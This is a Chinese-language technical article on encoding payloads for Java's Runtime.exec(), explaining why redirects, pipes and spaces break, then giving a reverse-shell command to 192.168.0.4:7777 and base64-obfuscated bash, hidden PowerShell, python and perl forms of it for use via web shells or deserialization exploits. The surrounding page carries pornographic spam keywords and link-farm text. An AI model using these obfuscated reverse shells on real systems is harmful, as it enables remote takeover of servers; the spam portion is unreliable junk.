av一区二区在线观看_亚洲男人的天堂网站_日韩亚洲视频_在线成人免费_欧美日韩精品免费观看视频_久草视

您的位置:首頁技術文章
文章詳情頁

java.lang.Runtime.exec() Payload知識點詳解

瀏覽:3日期:2022-09-04 15:47:33

有時,通過Runtime.getRuntime().exec()執(zhí)行命令的有效負載有時會失敗。使用Web Shell,反序列化利用或通過其他媒介時,可能會發(fā)生這種情況。

有時這是因為重定向和管道字符的使用在啟動過程的上下文中沒有意義。例如,在shell中執(zhí)行l(wèi)s> dir_listing會將當前目錄的列表輸出到名為dir_listing的文件中。但是在exec()函數(shù)的上下文中,該命令將被解釋為獲取>和dir_listing目錄的列表。

有時,StringTokenizer類會破壞其中包含空格的參數(shù),該類將命令字符串按空格分隔。像ls“我的目錄”之類的東西將被解釋為ls“我的目錄”。

借助Base64編碼,下面的轉(zhuǎn)換器可以幫助減少這些問題。它可以通過調(diào)用Bash或PowerShell來制作管道并重新定向,還可以確保參數(shù)內(nèi)沒有空格。

樣例:

原文

bash -i >& /dev/tcp/192.168.0.4/7777 0>&1

編碼后:

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuNC83Nzc3IDA+JjE=}|{base64,-d}|{bash,-i}#bashpowershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc YgBhAHMAaAAgAC0AaQAgAD4AJgAgAC8AZABlAHYALwB0AGMAcAAvADEAOQAyAC4AMQA2ADgALgAwAC4ANAAvADcANwA3ADcAIAAwAD4AJgAxAA==#powershellpython -c exec(’YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuNC83Nzc3IDA+JjE=’.decode(’base64’))#pythonperl -MMIME::Base64 -e eval(decode_base64(’YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuNC83Nzc3IDA+JjE=’))#perl

中間的字符均為“base64”編碼。

知識點擴展:

java.lang.Runtime.getRuntime().exec(cmd)命令中參數(shù)不能用空格怎么辦?

項目中無法執(zhí)行c程序,猜測是exec()函數(shù)的問題

String cmd= exe_path + ' ' +video + ' ' +host + ':' + port;Process process = runtime.exec(cmd);

到此這篇關于java.lang.Runtime.exec() Payload知識點詳解的文章就介紹到這了,更多相關java.lang.Runtime.exec() Payload內(nèi)容請搜索好吧啦網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關文章希望大家以后多多支持好吧啦網(wǎng)!

標簽: Java
相關文章:
主站蜘蛛池模板: 夜夜爽99久久国产综合精品女不卡 | www.亚洲 | 国产情品 | 天天干b| 精品久久久久久久久久久久久久 | 一区二区三区欧美 | 欧美精品欧美精品系列 | 国产二区在线播放 | 久久久久久99 | 中文字幕一区二区三区日韩精品 | 亚洲一区视频在线播放 | 日韩一区二区久久 | 亚洲va在线va天堂va狼色在线 | 爱高潮www亚洲精品 中文字幕免费视频 | 日本一二三区高清 | 久久91视频 | 国产精品久久久久久一区二区三区 | 欧美 日韩 亚洲91麻豆精品 | 精品国产伦一区二区三区观看体验 | 国产精品特级毛片一区二区三区 | 欧美日韩成人在线 | 国产欧美精品一区二区三区 | 黄色国产大片 | 91精品国产色综合久久 | 美国一级黄色片 | 国产精品久久久久久久免费大片 | 天天想天天干 | 午夜视频精品 | 国产一区精品在线 | 亚洲精品免费观看 | 欧美日韩免费在线 | 久久久婷婷 | 日韩精品色网 | 欧美成人h版在线观看 | 亚洲国产成人av好男人在线观看 | 超碰日本 | 神马久久av | 亚洲精品久久久久久久久久久 | 精品久久一区 | 亚洲国产午夜 | 精品在线一区 |